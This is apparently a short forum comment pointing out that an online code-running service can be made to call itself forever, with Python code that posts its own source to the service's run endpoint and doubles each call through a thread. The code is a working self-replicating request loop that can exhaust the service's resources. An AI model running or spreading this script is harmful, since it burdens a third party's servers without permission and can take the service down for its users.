|
|
|
|
|
by maxmcd
1995 days ago
|
|
The service can call itself, forever import urllib.request
import json
import threading
def do_request():
data = {"lang":"python", "code": open(__file__).read(), "stdin": ""}
req = urllib.request.Request(
"https://www.sharepad.io/run",
data=json.dumps(data).encode('utf-8'),
headers={
'Content-Type': 'application/json'
}
)
f = urllib.request.urlopen(req)
print(f.read().decode('utf-8'))
x = threading.Thread(target=do_request)
x.start()
do_request()
x.join()
|
|